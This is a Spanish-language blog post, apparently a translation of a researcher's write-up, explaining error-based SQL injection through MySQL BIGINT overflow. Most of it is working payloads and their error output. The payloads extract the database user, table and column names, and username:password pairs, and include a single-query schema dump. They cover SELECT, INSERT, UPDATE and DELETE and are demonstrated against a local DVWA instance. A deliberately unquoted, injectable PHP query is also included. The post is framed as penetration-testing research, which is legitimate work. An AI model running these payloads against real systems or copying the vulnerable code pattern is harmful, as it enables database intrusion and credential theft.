domingo, 12 de julio de 2015

Desbordamiento BGINT - Inyeccion SQL basada en error

Hola el otra vez estaba chateando con un amigo Osanda Malith Jayathissa y le pregunte si podria traducir algunos de sus post y gracias a que me dejo hoy les traducire un post muy bueno que he visto en su blog.

Autor: Osanda Malith
BLOG: https://osandamalith.wordpress.com


Empecemos... 

Les recomiendo tambien: http://arthusu.blogspot.mx/2013/04/double-query-error-based-sql-injection.html

Resumen

Yo estaba interesado en conocer nuevas tecnicas que podamos utilizar para la extraccion de datos a traves de errores de MySQL. Esto es un detallado relato que le hara entender como hice estas consultas. Cuando miramos como MySQL trata enteros me interesaban los desbordamientos que causan. Asi es como MySQL almacena numeros enteros.


(Fuente: http://dev.mysql.com/doc/refman/5.5/en/integer-types.html

Estos errores de desbordamiento son causados en las versiones 5.5.5 y superiores. En las versiones inferiores un desbordamiento de enteros se traduciria en un envolvente silencio. El tipo de datos BGINT es de 8 bytes de tamaño lo que significa que es de 64 bits. Si tomamos el valor maximo firmado de un BGINT es "0b0111111111111111111111111111111111111111111111111111111111111111",
"0x7fffffffffffffff", "9223372036854775807" en binario, hexadecimal y decimal respectivamente. Una vez que evaluamos expresiones numericas como adicion causara un "valor BGINT esta fuera de rango (BIGINT value is out of range)" como error.

mysql> select 9223372036854775807+1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1)'
Para solucionar el error anterior podriamos simplemente encasillarlo en un unsined int (entero sin asignar). Si nos fijamos en el valor maximo de BGINT sin asignar es "0b1111111111111111111111111111111111111111111111111111111111111111",
"0xFFFFFFFFFFFFFFFF","18446744073709551615" en binario, hexadecimal y decimal respectivamente. Asi mismo se aplica, si evaluamos expresiones numericas de este valor como la adicion o sustraccion causara un "BIGINT value is out of range" como error.


# En decimal

mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551
615 + 1)'


# En binario

mysql> select cast(b'11111111111111111111111111111111111111111111111111111111111
11111' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffff
ffffff as unsigned) + 1)'


# En hexadecimal

mysql> select cast(x'FFFFFFFFFFFFFFFF' as unsigned)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(cast(0xffffffffff
ffffff as unsigned) + 1)'

¿Y si hacemos una negacion bit a bit a "0"? El resultado sera el valor maximo BGINT sin asignar. Este es un hecho evidente. 




mysql> select ~0;
+----------------------+
| ~0                   |
+----------------------+
| 18446744073709551615 |
+----------------------+
1 row in set (0.00 sec)

Asi que si, si sumamos o restamos del ~0 que dara lugar a un desbordamiento BGINT.


mysql> select 1-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 - ~(0))'
mysql> select 1+~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~(0))'

Inyeccion

Yo queria aplicar subconsultas y causar un desbordamiento BGINT para de esa manera extraer los datos. Si nos fijamos en la negacion logica deberia devolver 1 para cualquier consulta. Por ejemplo, si se aplica una negacion logica de una consulta como (select * from (select user())x);

mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost                |
+-------------------------------+
1 row in set (0.01 sec)

 # Aplicando negacion logica

mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
|                              1 |
+--------------------------------+
1 row in set (0.01 sec)

Si, perfecto! asi que simplemente nosotros podemos combinar ambos tanto nivel de bits (bitwise) y negaciones logicas y construir la consulta basada en error.

mysql> select ~0+!(select*from(select user())x);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + (not((sele
ct 'root@localhost' from dual))))'
Vamos a dejar de usar el signo de adicion '+' se convertira en un espacio a analizar a traves del navegador web. En su lugar podemos utilizar la resta. Estas son algunas variaciones de la misma  inyeccion. Las consultas finales serian.

!(select*from(select user())x)-~0

(select(!x-~0)from(select(select user())x)a)

(select!x-~0.from(select(select user())x)a)
Por ejemplo aplicaquemos esta inyeccion en una consulta como esta:

mysql> select username, password from users where id='1' or !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT value is out of range in '((not((select 'root@localhost' from dual))) - ~(0
))'
http://localhost/dvwa/vulnerabilities/sqli/?id=1' or !(select*from(select user())x)-~0-- -&Submit=Submit#

Utilizando desbordamiento BGINT basado en error podemos usar casi cualquier funcion matematica valida en MySQL como estas, ya que ellas se niegan. Solo tiene que pasar los argumentos de acuerdo a la funcion.

select !atan((select*from(select user())a))-~0;
select !log((select*from(select user())a))-~0;
select !floor((select*from(select user())a))-~0;
He probado con lo siguiente. usted puede encontrar mas:

HEX
IN
FLOOR
LOG
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN

Extraccion de datos

La extraccion de datos es normal igual que otras inyecciones. Mostrare un poco. Conseguir los nombres de las tablas:

!(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0

Obtener los nombres de columna:

select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;

Obteniendo datos:

!(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;


Dump in one shot

Antes de continuar aqui les recomiendo leer: http://arthusu.blogspot.mx/2015/01/dios-dump-in-one-shot-explicado.html

¿Podemos volcar (dumpear) todas las bases de datos, las tablas y las columnas en un solo disparo? La respuesta es si. Pero cuando tratamos de volcar tablas y columnas de todas las bases de datos podemos obtener solo unos pocos resultados de vuelta ya que estamos tratando de recuperar los datos a traves de un error. Pero podemos recuperar hasta 27 resultados cuando tratamos de volcar la base de datos actual. Estas son algunas variaciones de las de anteriores (arriba):


!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0

(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)

(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)




Las limitaciones serian el numero de resultados que podemos recuperar. Supongamos que puedo crear una tabla con 31 columnas dentro de esta base de datos. Solo 27 serian vistos y mis otras 4 tablas y columnas de usuarios no se devolverian.




Inyeccion en INSERT

En declaraciones de INSERT podemos inyectar asi. La sintaxis seria " OR (PAYLOAD) OR "", las comillas dependen de la consulta. Usted puede leer mi investigacion anterior sobre este tema desde mi blog o whitepaper.  

mysql> insert into users (id, username, password) values (2, '' or !(select*from(select user())x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Tambien podemos realizar la consulta DIOS.

insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000
newdb::users::id
newdb::users::username
newdb::users::password' from dual))) - ~(0))'

Inyeccion en UPDATE

En la inyeccion de UPDATE es igual que en la de INSERT. Podemos inyectar asi.

mysql> update users set password='Peter' or !(select*from(select user())x)-~0 or '' where id=4;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'
Inyeccion en DELETE

Igual que las anteriores podemos usar la inyeccion en DELETE.

mysql> delete from users where id='1' or !(select*from(select user())x)-~0 or '';
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - ~(0))'

Conclusion

Como conclusion hay que tener en cuenta lo siguiente. Para llevar a cabo esta inyeccion debe haber un mysql_error() haciendo echo devuelta a nosotros por eso la inyeccion es a base de errores. La version de MySQL debe ser 5.5.5 o superior. Puede haber muchas variaciones de estas inyecciones de desbordamiento. Por ejemplo, incluso XORing 0 con un valor como 222 y restando podemos causar un desbordamiento de BGINT.

mysql> select !1-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(1)) - (0 ^ 222))'
mysql> select !(select*from(select user())a)-0^222;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select 'root@localhost' from dual))) - (0 ^ 222))'

Si el backend no tiene comillas simples, doble comillas o parentesis. Por ejemplo, si modifico el codigo de DVWA asi, eliminando las comillas. Simplemente podemos inyectar sin hacer la consulta falsa por OR 1.




 
<?php   
 
if(isset($_GET['Submit'])){
    // Retrieve data
    $id = $_GET['id'];
    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id";
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );
    $num = mysql_numrows($result);
    $i = 0;
    while ($i < $num) {
        $first = mysql_result($result,$i,"first_name");
        $last = mysql_result($result,$i,"last_name"); 
        $html .= '<pre>';
        $html .= 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;
        $html .= '</pre>';
        $i++;
    }
}
?>


http://localhost/dvwa/vulnerabilities/sqli/?id=!(select*from(select user())a)-0^222
&Submit=Submit#


 

Espero que esta investigacion sea util durante las pruebas de penetracion. 

Referencias

[1] http://dev.mysql.com/doc/refman/5.5/en/integer-types.html
[2] https://dev.mysql.com/doc/refman/5.0/en/numeric-type-overview.html
[3] https://dev.mysql.com/doc/refman/5.0/en/mathematical-functions.html


Autor: Osanda Malith
BLOG: https://osandamalith.wordpress.com
 


No hay comentarios:

Publicar un comentario en la entrada